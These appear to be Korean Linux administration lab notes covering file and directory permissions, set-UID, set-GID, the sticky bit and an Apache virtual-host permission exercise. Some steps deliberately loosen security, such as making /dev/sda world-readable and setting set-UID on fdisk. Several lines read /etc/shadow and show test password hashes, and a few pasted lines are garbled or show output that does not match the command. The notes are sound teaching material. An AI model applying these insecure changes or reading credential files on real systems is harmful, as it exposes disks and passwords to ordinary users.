/tmp # cat a.txt 

Hello World


/tmp # echo "Hello World" > b.txt

/tmp # ls -l b.txt 

-rw-r--r-- 1 root root 12 Feb 17 22:05 b.txt

/tmp # cat b.txt 

Hello World


/tmp # chmod -c o-r a.txt

mode of `a.txt' changed to 0640 (rw-r-----)

/tmp # chmod -c o-r a.txt


- 읽기권한 연습 ( read 권한을 제거한 a.txt 파일은 일반유저가 읽을 수 없다. )

/tmp # useradd linux

/tmp # su - linux

~ $ cd /tmp 

/tmp $ cat b.txt 

Hello World

/tmp $ cat a.txt 

cat: a.txt: Permission denied


- 쓰기권한 연습 ( 일반유저가 write 권한이 없을때 )

/tmp # echo "Have a nice day" >> a.txt   <-- a.txt 에 내용을 추가한다.

/tmp # cat a.txt 

Hello World

Have a nice day

/tmp # chmod -c o+r a.txt

mode of `a.txt' changed to 0644 (rw-r--r--)


/tmp $ cat a.txt 

Hello World

Have a nice day


/tmp $ echo "^^*" >> a.txt       <-- a.txt 에 내용을 추가했지만 권한이 없어서 추가가 안된다.

-bash: a.txt: Permission denied

/tmp $ cat a.txt                 <-- a.txt를 확인하면 추가가 안된 것을 알 수 있다.

Hello World

Have a nice day


- 쓰기권한 연습 ( 일반유저가 write 권한이 있을때 )

/tmp # ls -l b.txt 

-rw-r--r-- 1 root root 28 Feb 17 22:29 a.txt

/tmp # chmod -c o+w b.txt

mode of `b.txt' changed to 0646 (rw-r--rw-)


/tmp $ cat b.txt 

Hello World


/tmp $ echo "I have a smartphone" >> b.txt   <-- b.txt 에 문자열이 추가되었다.

/tmp $ cat b.txt 

Hello World

I have a smartphone

===========================================================================================================


===========================================================================================================

LAB> /dev/sda 장치 파일의 읽기권한을 이용한 파티션 정보 출력하기


-----------------------------------------------------------

brw-r----- root disk /dev/sda  <-- 일반유저가 읽을 수 없다.

~~~~~~~~~~ ~~~~ ~~~~ ~~~~~~~~

brw-r--r-- root disk /dev/sda  <-- 일반유저가 읽을 수 있다.

~~~~~~~~~~ ~~~~ ~~~~ ~~~~~~~~

-----------------------------------------------------------


# ls -l /dev/sda

brw-r----- 1 root disk 8, 0 Nov 20 19:30 /dev/sda

# fdisk -l /dev/sda


Disk /dev/sda: 8589 MB, 8589934592 bytes

255 heads, 63 sectors/track, 1044 cylinders

Units = cylinders of 16065 * 512 = 8225280 bytes


   Device Boot      Start         End      Blocks   Id  System

/dev/sda1   *           1         913     7333641   83  Linux

/dev/sda2             914        1044     1052257+  82  Linux swap / Solaris


# su - linux  <-- Other 부분에 읽기 권한이 없으므로 볼 수 없다.

$ /sbin/fdisk -l /dev/sda

Cannot open /dev/sda

$ exit


o /dev/sda 를 변경해서 보는 방법

# chmod -c o+r /dev/sda

mode of `/dev/sda' changed to 0644 (rw-r--r--)


$ /sbin/fdisk -l /dev/sda  <-- Other 에 읽기 권한이 있으므로 볼 수 있다.


Disk /dev/sda: 8589 MB, 8589934592 bytes

255 heads, 63 sectors/track, 1044 cylinders

Units = cylinders of 16065 * 512 = 8225280 bytes


   Device Boot      Start         End      Blocks   Id  System

/dev/sda1   *           1         913     7333641   83  Linux

/dev/sda2             914        1044     1052257+  82  Linux swap / Solaris


o set-uid 를 변경해서 보는 방법

# chmod u+s /sbin/fdisk 

# ls -l /sbin/fdisk 

-rwsr-xr-x 1 root root 96276 Feb 23  2012 /sbin/fdisk

# su - user1


$ /sbin/fdisk -l /dev/sda


Disk /dev/sda: 8589 MB, 8589934592 bytes

255 heads, 63 sectors/track, 1044 cylinders

Units = cylinders of 16065 * 512 = 8225280 bytes


   Device Boot      Start         End      Blocks   Id  System

/dev/sda1   *           1          13      104391   83  Linux

/dev/sda2              14        1044     8281507+  8e  Linux LVM

===========================================================================================================


===========================================================================================================

LAB> 스크립트와 바이너리 파일의 실행권한 테스트


-- LAB 순서 --

1. 스크립트 파일 (rx 가 있을 경우)

2. 스크립트 파일 (x 만 있을 경우)

3. 바이너리 파일 (rx 가  있을 경우)

4. 바이너리 파일 (x 만 있을 경우)

5. 바이너리 파일 (x 를 제거할 경우)

-- LAB 순서 --


1. 스크립트 파일 (rx 가 있을 경우)

- 관리자가 a.sh 파일을 생성하고 관리자와 일반유저가 실행해보자.

~ # cd /tmp

/tmp # cat >> a.sh

#!/bin/sh


i=123

echo $i


/tmp # ls -l a.sh

-rw-r--r-- 1 root root 25 Feb 17 22:47 a.sh


/tmp # chmod a+x a.sh

/tmp # ./a.sh 

123


- 일반유저가 a.sh 파일을 실행한다.

/tmp $ ./a.sh         <-- a.sh 가 실행된 이유는 rx 권한이 있기 때문에 실행이 되었다.

123


2. 스크립트 파일 (x 만 있을 경우)

- 관리자가 a.sh 파일의 일반유저 부분의 읽기권한을 제거하고 일반유저가 실행해보자.

/tmp # chmod -c o-r a.sh 

mode of `a.sh' changed to 0751 (rwxr-x--x)


- 일반유저는 읽기 권한이 없으므로 실행파일을 실행할 수 없다.

/tmp $ ./a.sh        

/bin/sh: ./a.sh: Permission denied  


- 관리자는 파일의 읽기 권한을 제거하지만 실행이 된다. (왜 ? 관리자는 읽기/쓰기의 제약을 받지 않는다.)

/tmp # chmod -c ug-r a.sh 

mode of `a.sh' changed to 0311 (-wx--x--x)

/tmp # ./a.sh   

123


3. 바이너리 파일 (rx 가  있을 경우)

- 관리자가 바이너리 파일을 만들고 일반유저가 파일을 실행하고 복사해보자.

/tmp # vi hello.c

-- hello.c --

#include <stdio.h>


int main()

{

  puts("Hello C");

  return 0;

}

-- hello.c --

/tmp # gcc -o hello hello.c  <-- hello.c 를 hello 로 컴파일해서 실행파일을 생성한다.

/tmp # ls -l hello

-rwxr-xr-x 1 root root 4937 Feb 17 23:06 hello

/tmp # ./hello           <-- x 권한이 있으므로 hello 파일이 실행된다.

Hello C


/tmp $ ./hello           <-- 일반유저 또한 x 권한이 있으므로 hello 파일이 실행된다.

Hello C


- r 권한이 있으므로 복사할 수 있다. ( 파일을 복사한다는 것은 읽기 권한이 있어야 한다. )

/tmp $ cp hello hello2   

/tmp $ ls -l hello2

-rwxr-xr-x 1 linux linux 4937 Feb 17 23:23 hello2

/tmp $ ./hello2

Hello C


4. 바이너리 파일 (x 만 있을 경우)

- 관리자가 Other 부분의 r 권한을 제거하고 일반유저가 파일을 실행하고 복사해보자.

/tmp # chmod o-r hello   

/tmp # ls -l hello

-rwxr-x--x 1 root root 4937 Feb 17 23:06 hello


/tmp $ ./hello   <-- x 권한이 있으므로 실행이 된다. (바이너리 파일은 r 권한이 없어도 실행이 된다.)

Hello C

/tmp $ cp hello hello3   <-- Other 부분의 r 권한이 없으므로 복사가 안된다.

cp: cannot open `hello' for reading: Permission denied


5. 바이너리 파일 (x 를 제거할 경우)

- 관리자가 x 권한을 모두 제거하고 실행해 보면 아무도 이 파일을 실행할 수 없다.

/tmp # chmod a-x he/tmp # ls -l hello

-rw-r----- 1 root root 4937 Feb 17 23:06 hellollo   


/tmp # ./hello

- bash: ./hello: Permission denied


/tmp $ ./hello

- bash: ./hello: Permission denied

===========================================================================================================


===========================================================================================================

LAB> Set-GID 테스트 (장치파일의 쓰기권한)


# tty

/dev/pts/0

# ls -l /dev/pts/0

crw--w---- 1 root tty 136, 0 Feb 18 00:43 /dev/pts/0


# mesg y

$ wall hello   <-- 일반유저가 root 사용자에게 메세지를 보낸다.


# mesg n       <-- (mesg n) == (chmod g-w /dev/pts/0)

# ls -l /dev/pts/0

crw------- 1 root tty 136, 0 Feb 18 00:43 /dev/pts/0

$ wall hello    <-- 일반 유저가 root 에게 메세지를 보낼 수 없다.


Broadcast message from linux (pts/1) (Tue Feb 18 00:43:24 2014):


hello


# mesg y

# chmod g-s /usr/bin/wall   <-- 일반 유저가 wall 로 메세지를 보낼 수 없다.

$ wall hello                <-- tty 권한이 없으므로 root에게 메세지를 보낼 수 없다.


# chmod o+w /dev/pts/0 

# ls -l /dev/pts/0

crw--w--w- 1 root tty 136, 0 Feb 18 00:48 /dev/pts/0

===========================================================================================================


===========================================================================================================

LAB> 디렉토리 권한 테스트


[root@localhost ~]# cd

[root@localhost ~]# pwd

/root

[root@localhost ~]# ls -ld

drwxr-x--- 11 root root 4096 Oct 24 02:00 .

[root@localhost ~]# chmod o-r .

[root@localhost ~]# ls -ld

drwxr-x--- 11 root root 4096 Oct 24 02:00 .

[root@localhost ~]# chmod o+r .

[root@localhost ~]# ls -ld

drwxr-xr-- 11 root root 4096 Oct 24 02:00 .

[root@localhost ~]# 


[user1@localhost ~]$ pwd

/home/user1

[user1@localhost ~]$ cd /root

-bash: cd: /root: Permission denied

[user1@localhost ~]$ ls -l /root

total 0

?--------- ? ? ? ?            ? a

?--------- ? ? ? ?            ? A

?--------- ? ? ? ?            ? a.c

  :

  :




===========================================================================================================


===========================================================================================================

LAB> 디렉토리 권한 테스트


~ # cd /tmp

/tmp # umask

0022

/tmp # mkdir TEST

/tmp # ls -ld TEST

drwxr-xr-x 2 root root 4096 Feb 18 00:55 TEST

/tmp $ cd TEST              <-- x 권한이 있으므로 TEST 디렉토리에 들어갈 수 있다.

/tmp/TEST $ pwd

/tmp/TEST

/tmp/TEST $ cd ..



/tmp # touch TEST/a.txt TEST/b.txt

/tmp # ls -l TEST

total 8

-rw-r--r-- 1 root root 0 Feb 18 00:59 a.txt

-rw-r--r-- 1 root root 0 Feb 18 00:59 b.txt

/tmp # chmod o-x TEST

/tmp # ls -ld TEST

drwxr-xr-- 2 root root 4096 Feb 18 00:55 TEST

/tmp $ cd TEST              <-- x 권한이 있으므로 TEST 디렉토리에 들어갈 수 없다.

-bash: cd: TEST: Permission denied

tmp $ ls TEST -l

total 0

?--------- ? ? ? ?            ? a.txt

?--------- ? ? ? ?            ? b.txt


/tmp # chmod o=x TEST

/tmp # ls -ld TEST

drwxr-x--x 2 root root 4096 Feb 18 00:59 TEST

/tmp $ cd TEST               <-- 디렉토리에 들어갈 수 있으나 파일 목록은 볼 수 없다.

/tmp/TEST $ ls

ls: .: Permission denied


/tmp # chmod o=rwx TEST

/tmp # ls -ld TEST

drwxr-xrwx 2 root root 4096 Feb 18 00:59 TEST

/tmp/TEST $ vi a.txt       <-- a.txt 파일을 수정할 수 있다.

/tmp/TEST $ ll

total 12

-rw-r--r-- 1 linux linux 8 Feb 18 01:05 a.txt

-rw-r--r-- 1 root  root  0 Feb 18 00:59 b.txt

/tmp/TEST $ rm -f b.txt    <-- other 에 w 권한이 있으므로 b.txt 파일을 삭제할 수 있다.

/tmp/TEST $ ls -l

total 16

-rw-r--r-- 1 linux linux 8 Feb 18 01:05 a.txt

-rw-r--r-- 1 linux linux 8 Feb 18 01:06 c.txt

===========================================================================================================


===================================== 여기까지 ===================================== 


실습> 시스템에서 Set-UID / Set-GID 파일을 몽땅 검색해보자.


# find / -perm -4000 -ls -perm -2000 

# find / \( -perm -4000 -perm -2000 \)  -ls 



-------



o 퍼미션 변경 연습 

# rsync -av /bin/cut .

# ls -l cut

   chmod   ln chown  chgrp vi, echo  vi, echo, touch  mv

 ~~~~~~~~~  ~ ~~~~   ~~~~  ~~~~~    ~~~~~~~~~~~~     ~~~

-rwxr-xr-x  1 root   root  31880    Jul 22  2011     cut

 ~~~

  u ~~~

     g ~~~

        o


o chmod 에서 8진수 모드와 권한의 관계


8진수에서 가질 수 있는 값 : 0 ~ 7




# chmod u-wx,g-rw,o-r cut -c

rwxrwxrwx  -> r----x-wx  변경   chmod 413 

~~~           ~~~

 7  7  7      4  ~~~

                  1 ~~~

                     3


-wx-wx-wx -> --x------

1. chmod a=,u+x 

2. chmod go=,u-w 

3. chmod og=,u-w 

4. chmod go-wx,u-w

...


5. chmod 100


Symbolic mode 에서 가질 수 있는 문자들 : ugoa=+-,rwxst


---------  -> rwxr-x--x   chmod  751

chmod 000 

---------  -> --x--x---   chmod  110


LAB> 실행 디렉토리의 권한들을 살펴보세요!!! 

/bin , /usr/bin, /sbin, /usr/sbin


설치시 : 755 -> 보안상 권한을 변경하는 것이 좋다.


# ls -l /usr/sbin | more   <-- more 를 이용해서 살펴보기

# ls -l /sbin | less       <-- less 를 이용해서 살펴보기



확장된 권한들  (Set-UID (4), Set-GID (2), StickyBit (1) )

Set-UID : rwsr-xr-x

          ~~~

          root 

             ~~~

             root

                                linux 실행

Set-GID : 

---------  -> rwsr-xr-x   4755 -> rws--s--t  7711 -> rws-----x 4701

~~~

 u ~~~

    g ~~~

       o


# ls -ld /tmp

# ls -l /usr/bin/passwd

# ls -l /usr/bin/wall

# ls -l /bin/ping

# ls -ld /dev/shm


o Set-UID 이해하기

Set-UID 권한을 가지고 있는 파일을 일반유저가 실행하면 자신의(일반유저) 

권한으로 프로그램을 실행하는 것이 아니고 소유자의 권한으로 프로그램을 

실행하게 된다.

# ls -l /etc/shadow

-r-------- 1 root root 1218 May 30 10:32 /etc/shadow

# ls -l /usr/bin/passwd  <-- 일반유저가 실행하면 관리자권한이 되는 것이다.

-rwsr-xr-x 1 root root 20300 Aug 11  2010 /usr/bin/passwd

# useradd linux

# echo "1234" | passwd --stdin linux

Changing password for user linux.

passwd: all authentication tokens updated successfully.

# grep linux /etc/shadow

linux:$1$3/Z1I5Jz$irsRWkoqK2pSqRY9cmHjQ1:15490:0:99999:7:::

# su - linux

$ passwd

Changing password for user linux.

Changing password for linux

(current) UNIX password:

New UNIX password:

Retype new UNIX password:

passwd: all authentication tokens updated successfully.

$ exit

# grep linux /etc/shadow <-- shadow 파일을 변경할 수 있는 것은 root 만이 가능

linux:$1$IT9znGxh$fgvJlTJbKONZCd6/lc1yZ0:15490:0:99999:7:::  <-- 변경되었음.



파일 / 디렉토리 

# ls -ld /tmp

#

#

drwxrwxrwx  -> a.txt(A) b.txt(B)  a.txt,b.txt 삭제(c) 삭제 O


drwxrwxrwt  -> a.txt(A) b.txt(B)  a.txt,b.txt 삭제(c) 삭제 X

         ~ -> x + t




   

# cd ; ls -ld

drwxr-x----   .... root

# ls -l /home

drwx-------   ... a

drwx-------   ... b

drwx-------   ... c

drwx-------   ... d


리눅스에서 실행할 수 있는 파일 

1. 컴파일해서 나온 바이너리 파일 (/bin/ls, mv ...)

2. 텍스트 형태의 쉘스크립트파일  (/etc/init.d/crond)


o 디렉토리의 x 권한 테스트


# mkdir -m 700 /tmp/TESTDIR

# ls -ld /tmp/TESTDIR

drwx------ 2 root root 4096 May 30 13:30 /tmp/TESTDIR


$ cd /tmp/TESTDIR    <-- x 권한이 없기 때문에 

-bash: cd: TESTDIR: Permission denied


o 실행파일 x 권한 테스트 

# ls -l /bin/cat

-rwxr-xr-x 1 root root 20776 Jul 22  2011 /bin/cat

# ls -ln /bin/cat

-rwxr-xr-x 1 0 0 20776 Jul 22  2011 /bin/cat


$ cat /etc/profile

# /etc/profile

# System wide environment and startup programs, for login setup

# Functions and aliases go in /etc/bashrc

...


# chmod -c o= /bin/cat

mode of `/bin/cat' changed to 0750 (rwxr-x---)

# ls -l /etc/profile

-rw-r--r-- 1 root root 1344 Feb 23 05:31 /etc/profile


$ cat /etc/profile   <-- cat x 권한이 없으므로 파일의 내용을 볼 수 없다.

-bash: /bin/cat: Permission denied



o 읽기권한(r) 테스트  


1. 일반 파일 테스트 

# chmod o+rx /bin/cat

# ls -l /etc/shadow

-r--------


o cat 은 실행권한이 있지만 /etc/shadow 파일에 읽기권한이 

없으므로 파일의 내용을 볼 수 없다.

$ cat /etc/shadow   

  ~~~ ~~~~~~~~~~~

   1        2

1번의 권한을 살펴보고 권한이 있으면 2번의 권한을 살펴본다.


2. 디렉토리 테스트

$ cd /bin

$ ls      <-- /bin 디렉토리에 파일 목록이 출력.


# ls -ld /bin  <-- drwxr-xr-x -> drwxr-x--x (r권한 제거)

# chmod o-r /bin


$ cd /bin

$ ls      <-- r 권한을 제거했으므로 /bin 디렉토리에 파일 목록이 출력이 안됨.



o 쓰기권한(w) 테스트

1. 일반 파일을 테스트 


$ ls -l /etc/shadow  <-- Other 부분의 쓰기권한을 살펴볼 것

$ echo "1234" >> /etc/shadow  <-- 쓰기권한이 없으므로 안된다.


2. 디렉토리 테스트

$ ls -ld /home  <-- Other 부분의 쓰기권한을 살펴볼 것

drwxr-xr-x

 ~~~~~~

root.root

    

$ mkdir /home/Test <-- 쓰기권한이 없으므로 안된다.

$ cd  <-- 자신의 홈디렉토리로 이동 

$ mkdir Test  <-- 쓰기 권한이 있으므로 만들어진다.

drwx------

 ~~~

 자신의 권한

$ pwd

$ ls -ld 

$ ls -ld /etc  <-- Other 부분의 Write 권한을 확인 

drwxr-xr-x

 ~~~~~~

root.root 

$ rm -f /etc/passwd <-- 삭제가 안됨.


일반 유저가 저장(삭제)할 수 있는 디렉토리는 

리눅스가 설치되면 기본적으로 아래 디렉토리이다.

1. 자신의 디렉토리 

2. /tmp 디렉토리

3. /dev/shm  --> 보안상 Other 권한의 쓰기를 제거

4. /var/tmp  --> 보안상 Other 권한의 쓰기를 제거


o 제일 많이 사용하는 권한 

1. 파일 

-rw-r--r--

-rw-------

-rw-r----- 

-rw----r-- 

-r--------    :w <-- x    :w! <-- O


2. 디렉토리 

drwxr-xr-x    # ls -l /

drwx------    # ls -l /home   , # ls -ld /root

drwx-----x    drwxr-xr-x 차이점?

drwx--x---

drwx--x--x


# ls -ld /etc

# chmod o-r /etc

# ls -ld /etc


$ cd /etc

$ ls   <-- 읽기 권한이 없다.

$ ls -l passwd  <-- 파일의 속성을 확인할 수 있다.

$ cat passwd <-- 파일을 볼 수 있다.



============


[root@www ~]# groupadd -g 5000 project

[root@www ~]# groupadd -g 5000 project

groupadd: GID 5000 is not unique

[root@www ~]# groupadd -g 6000 project

[root@www ~]# useradd -g project user1

useradd: user user1 exists

[root@www ~]# userdel -r user1

[root@www ~]# userdel -r user2

[root@www ~]# userdel -r user3

userdel: /var/spool/mail/user3 not owned by user3, not removing

[root@www ~]# useradd -g project user1

[root@www ~]# useradd -G project user2

[root@www ~]# tail -2 /etc/passwd

user1:x:5001:6000::/home/user1:/bin/bash

user2:x:5002:5002::/home/user2:/bin/bash

[root@www ~]# tail -2 /etc/group

project:x:6000:user2

user2:x:5002:

[root@www ~]# install -m 070 -g project -d /project 

[root@www ~]# ls -ld /project

d---rwx--- 2 root project 4096 May 16 19:30 /project

[root@www ~]# su - user1

[user1@www ~]$ cd /project/

[user1@www project]$ id

uid=5001(user1) gid=6000(project) groups=6000(project)

[user1@www project]$ touch user1.txt

[user1@www project]$ ls -l

total 0

-rw-r--r-- 1 user1 project 0 May 16 19:30 user1.txt

[user1@www project]$ rm -f ~/.bash_logout 

[user1@www project]$ exit

logout

[root@www ~]# su - user2

[user2@www ~]$ cd /project

[user2@www project]$ id

uid=5002(user2) gid=5002(user2) groups=5002(user2),6000(project)

[user2@www project]$ touch user2.txt

[user2@www project]$ ls -l

total 0

-rw-r--r-- 1 user1 project 0 May 16 19:30 user1.txt

-rw-rw-r-- 1 user2 user2   0 May 16 19:31 user2.txt

[user2@www project]$ rm -f ~/.bash_logout 

[user2@www project]$ exit

logout

[root@www ~]# chmod g+s                   /project

[root@www ~]# ls -ld /project

d---rws--- 2 root project 4096 May 16 19:31 /project

[root@www ~]# 

[root@www ~]# 

[root@www ~]# 

[root@www ~]# 

[root@www ~]# su - user1

[user1@www ~]$ cd /project/

[user1@www project]$ touch user1-2.txt

[user1@www project]$ ls l

ls: l: No such file or directory

[user1@www project]$ ls -l

total 0

-rw-r--r-- 1 user1 project 0 May 16 19:32 user1-2.txt

-rw-r--r-- 1 user1 project 0 May 16 19:30 user1.txt

-rw-rw-r-- 1 user2 user2   0 May 16 19:31 user2.txt

[user1@www project]$ exit

logout

[root@www ~]# su - user2

[user2@www ~]$ cd /project

[user2@www project]$ touch user2-2.txt

[user2@www project]$ ls -l

total 0

-rw-r--r-- 1 user1 project 0 May 16 19:32 user1-2.txt

-rw-r--r-- 1 user1 project 0 May 16 19:30 user1.txt

-rw-rw-r-- 1 user2 project 0 May 16 19:33 user2-2.txt

-rw-rw-r-- 1 user2 user2   0 May 16 19:31 user2.txt

[user2@www project]$ rm -f *

[user2@www project]$ ls

[user2@www project]$ exit

logout

[root@www ~]# su - user1

[user1@www ~]$ cd /project/

[user1@www project]$ touch user1.txt

[user1@www project]$ ls -l

total 0

-rw-r--r-- 1 user1 project 0 May 16 19:34 user1.txt

[user1@www project]$ exit

logout

[root@www ~]# su - user2

[user2@www ~]$ cd /project/

[user2@www project]$ touch user2.txt

[user2@www project]$ ls -l

total 0

-rw-r--r-- 1 user1 project 0 May 16 19:34 user1.txt

-rw-rw-r-- 1 user2 project 0 May 16 19:34 user2.txt

[user2@www project]$ exit

logout

[root@www ~]# chmod o+t /project -c

mode of `/project' changed to 3070 (---rws--T)

[root@www ~]# su - user2

[user2@www ~]$ cd         /project

[user2@www project]$ ls -l

total 0

-rw-r--r-- 1 user1 project 0 May 16 19:34 user1.txt

-rw-rw-r-- 1 user2 project 0 May 16 19:34 user2.txt

[user2@www project]$ ls -ld 

d---rws--T 2 root project 4096 May 16 19:34 .

[user2@www project]$ rm -f *

rm: cannot remove `user1.txt': Operation not permitted

[user2@www project]$ ls -l

total 0

-rw-r--r-- 1 user1 project 0 May 16 19:34 user1.txt

[user2@www project]$ 

[user2@www project]$ 

[user2@www project]$ 

[user2@www project]$ exit

logout

[root@www ~]# chmod 2070 /project/ -c

mode of `/project/' changed to 2070 (---rws---)

[root@www ~]# su - user1

[user1@www ~]$ cd /project/

[user1@www project]$ ls

user1.txt

[user1@www project]$ rm -f *

[user1@www project]$ touch 1.txt

[user1@www project]$ ls -l

total 0

-rw-r--r-- 1 user1 project 0 May 16 19:38 1.txt

[user1@www project]$ exit

logout

[root@www ~]# su - user2

[user2@www ~]$ cd /project/

[user2@www project]$ touch 2.txt

[user2@www project]$ ls -l

total 0

-rw-r--r-- 1 user1 project 0 May 16 19:38 1.txt

-rw-rw-r-- 1 user2 project 0 May 16 19:38 2.txt

[user2@www project]$ rm -f *

[user2@www project]$ ls -l

total 0

[user2@www project]$ 


=====================================================================================

LAB> SetUID 테스트 (/etc/shadow, /usr/bin/passwd 를 이해하자)

# touch file.c file.txt

# chmod 600 file.txt 

# vi file.c 

-- file.c --

#include <stdio.h>   // printf , fprintf, 

#include <stdlib.h>  // exit


int main()

{

  FILE *fp;

  fp = fopen("file.txt", "a");

  if(fp == NULL)

  {

    fprintf(stderr,"파일을 열지 못했네용.\n");

    exit(1);

  }

  

  fprintf(fp, "Hello\n");

  fclose(fp);


  return 0;

}

-- file.c --


# gcc -o file file.c 

# ./file 

# cat file.txt 

Hello

# su user1

$ id

uid=9010(user1) gid=9010(user1) groups=9010(user1)

$ cat file.txt 

cat: file.txt: 허가 거부됨

$ ls -l file.txt 

-rw------- 1 root root 6  3월 17 23:33 file.txt

$ ./file 

파일을 열지 못했네용.

$ exit

exit

# cat file.txt 

Hello



# chmod u+s file -c

`file'의 모드를 4755(rwsr-xr-x)으로 변경하였습니다

# su user1

$ id

uid=9010(user1) gid=9010(user1) groups=9010(user1)


$ ./file 

$ ./file 

$ ./file 

$ exit

exit


# cat file.txt 

Hello

Hello

Hello

Hello


=====================================================================================

=====================================================================================

LAB>  /etc/shadow 파일에 일반 유저가 저장할 수 있는 이유는 무엇인가 ????


# ls -l /usr/bin/passwd 

-rwsr-xr-x 1 root root 23420  8월 11  2010 /usr/bin/passwd

# ls -l /etc/shadow

-r-------- 1 root root 2599  3월 17 23:07 /etc/shadow

# echo 1234 | passwd --stdin user1

# grep ^user1: /etc/shadow

user1:$6$M9cg4Pii$bCvrCaJE28A6d ...(생략)


# su - user1

$ passwd

Changing password for user user1.

Changing password for user1

(current) UNIX password:   <-- 1234

New UNIX password:         <-- 0000

Retype new UNIX password:  <-- 0000

passwd: all authentication tokens updated successfully.

$ exit


# grep ^user1: /etc/shadow

user1:$6$2uOUVUuA$xsXzjrtJlAOLtBh8

=====================================================================================


=====================================================================================

LAB> vhost_alias 모듈을 사용하여 가상호스트를 사용할 때 퍼미션 문제로 발생할 수 있는 

     문제점을 알아보고 대응을 해보자.


도메인명 : sbs.com, kbs.com, mbc.com


1. 웹서버 패키지 설치

- 패키지가 없다면 설치한다.

# yum -y install httpd


2. 사용자를 생성

- 가상호스트를 서비스하는 사용자를 생성한다.

# mkdir /etc/skel/public_html

# useradd sbsuser

# useradd kbsuser

# useradd mbcuser

# passwd sbsuser

# passwd kbsuser

# passwd mbcuser


# chmod 755 ~sbsuser

# chmod 755 ~kbsuser

# chmod 755 ~mbcuser


# echo "Welcome to sbs.com" > ~sbsuser/public_html/index.html

# echo "Welcome to kbs.com" > ~kbsuser/public_html/index.html

# echo "Welcome to mbc.com" > ~mbcuser/public_html/index.html

# chown sbsuser.sbsuser ~sbsuser/public_html/index.html:q:

# chown kbsuser.kbsuser ~kbsuser/public_html/index.html

# chown mbcuser.mbcuser ~mbcuser/public_html/index.html


3. 가상호스트(이름기반) 설정

- 웹서버의 가상호스틀 설정한다.

# cd /etc/httpd/conf

# vi httpd.conf

-- httpd.conf --

  :

LoadModule vhost_alias_module modules/mod_vhost_alias.so

  :

NameVirtualHost *:80


<VirtualHost *:80>

    DocumentRoot  /home/sbsuser/public_html 

    ServerName    sbs.com

    ServerAlias   www.sbs.com

</VirtualHost>

<VirtualHost *:80>

    DocumentRoot  /home/kbsuser/public_html 

    ServerName    kbs.com

    ServerAlias   www.kbs.com

</VirtualHost>

<VirtualHost *:80>

    DocumentRoot  /home/mbcuser/public_html 

    ServerName    mbc.com

    ServerAlias   www.mbc.com

</VirtualHost>

-- httpd.conf --


4. 아파치서버 시작

# /etc/init.d/httpd configtest

Syntax OK.

# /etc/init.d/httpd start

# netstat -nltp


5. DNS 설정

# vi /etc/hosts

-- /etc/hosts --

  :

  :

127.0.0.1   sbs.com www.sbs.com

127.0.0.1   kbs.com www.kbs.com

127.0.0.1   mbc.com www.mbc.com

-- /etc/hosts --


6. 웹서버 접속 테스트

# lynx --dump sbs.com


   Welcome to sbs.com


# lynx --dump kbs.com


   Welcome to kbs.com


# lynx --dump mbc.com


   Welcome to mbc.com

=====================================================================================


o 사례1)

웹사용자만 접근시키고 소유자를 뺀 모든 사용자가 각 홈디렉토리에 

접근하지 못하게 막는다. 


- 웹페이지 접근 사용자

apache

sbsuser

kbsuser

mbcuser


- 각 사용자 디렉토리 제한 사용자

sbsuser : kbsuser mbcuser (x)

kbsuser : sbsuser mbcuser (x)

mbcuser : kbsuser sbsuser (x)


-

# ls -ld /home/{sbs,kbs,mbc}user

drwxr-xr-x 3 kbsuser kbsuser 4096 Mar 18 01:47 /home/kbsuser

drwxr-xr-x 3 mbcuser mbcuser 4096 Mar 18 01:47 /home/mbcuser

drwxr-xr-x 3 sbsuser sbsuser 4096 Mar 18 02:21 /home/sbsuser


# chmod o= /home/{sbs,kbs,mbc}user

# ls -ld /home/{sbs,kbs,mbc}user

drwxr-x--- 3 kbsuser kbsuser 4096 Mar 18 01:47 /home/kbsuser

drwxr-x--- 3 mbcuser mbcuser 4096 Mar 18 01:47 /home/mbcuser

drwxr-x--- 3 sbsuser sbsuser 4096 Mar 18 02:21 /home/sbsuser


# lynx --dump sbs.com


                                   Forbidden


   You don't have permission to access / on this server.

     _________________________________________________________________



    Apache/2.2.3 (CentOS) Server at sbs.com Port 80


# grep apache /etc/passwd

apache:x:48:48:Apache:/var/www:/sbin/nologin

# grep 48 /etc/group

apache:x:48:


# chgrp apache /home/{sbs,kbs,mbc}user

# ls -ld /home/{sbs,kbs,mbc}user

drwxr-x--- 3 kbsuser apache 4096 Mar 18 01:47 /home/kbsuser

drwxr-x--- 3 mbcuser apache 4096 Mar 18 01:47 /home/mbcuser

drwxr-x--- 3 sbsuser apache 4096 Mar 18 02:21 /home/sbsuser


# lynx --dump sbs.com


   Welcome to sbs.com


# lynx --dump kbs.com


   Welcome to kbs.com


# lynx --dump mbc.com


   Welcome to mbc.com


# su - sbsuser

$ cd ~kbsuser

-bash: cd: /home/kbsuser: Permission denied

$ cd ~mbcuser

-bash: cd: /home/mbcuser: Permission denied


o 사례2)

일반 사용자를 특정 그룹에 포함시키고 홈디렉토리가 운영되는 디렉토리에 그 그룹이 

못들어오게 막는다. 


- 원래 권한으로 돌리고 시작한다.

# chmod 755 /home/{sbs,kbs,mbc}user

# chgrp sbsuser /home/sbsuser 

# chgrp kbsuser /home/kbsuser

# chgrp mbcuser /home/mbcuser

# ls -ld /home/{sbs,kbs,mbc}user

drwxr-xr-x 3 kbsuser kbsuser 4096 Mar 18 01:47 /home/kbsuser

drwxr-xr-x 3 mbcuser mbcuser 4096 Mar 18 01:47 /home/mbcuser

drwxr-xr-x 3 sbsuser sbsuser 4096 Mar 18 02:21 /home/sbsuser



- 사용자를 포함할 그룹을 생성한다.

# groupadd homepageuser

# tail -1 /etc/group

homepageuser:x:9018:


- 사용자의 그룹을 확인한다.

# su - sbsuser

$ id

uid=9015(sbsuser) gid=9015(sbsuser) groups=9015(sbsuser)

$ exit


# su - kbsuser

$ id

uid=9016(kbsuser) gid=9016(kbsuser) groups=9016(kbsuser)

$ exit


# su - mbcuser

$ id

uid=9017(mbcuser) gid=9017(mbcuser) groups=9017(mbcuser)

$ exit


# usermod -G homepageuser sbsuser

# usermod -G homepageuser kbsuser

# usermod -G homepageuser mbcuser


# su - sbsuser

$ id

uid=9015(sbsuser) gid=9015(sbsuser) groups=9015(sbsuser),9018(homepageuser)

$ exit


# su - kbsuser

$ id

uid=9016(kbsuser) gid=9016(kbsuser) groups=9016(kbsuser),9018(homepageuser)

$ exit


# su - mbcuser

$ id

uid=9017(mbcuser) gid=9017(mbcuser) groups=9017(mbcuser),9018(homepageuser)

$ exit


- 각 디렉토리의 권한을 변경한다.

# ls -ld /home/{sbs,kbs,mbc}user

drwxr-xr-x 3 kbsuser kbsuser 4096 Mar 18 03:10 /home/kbsuser

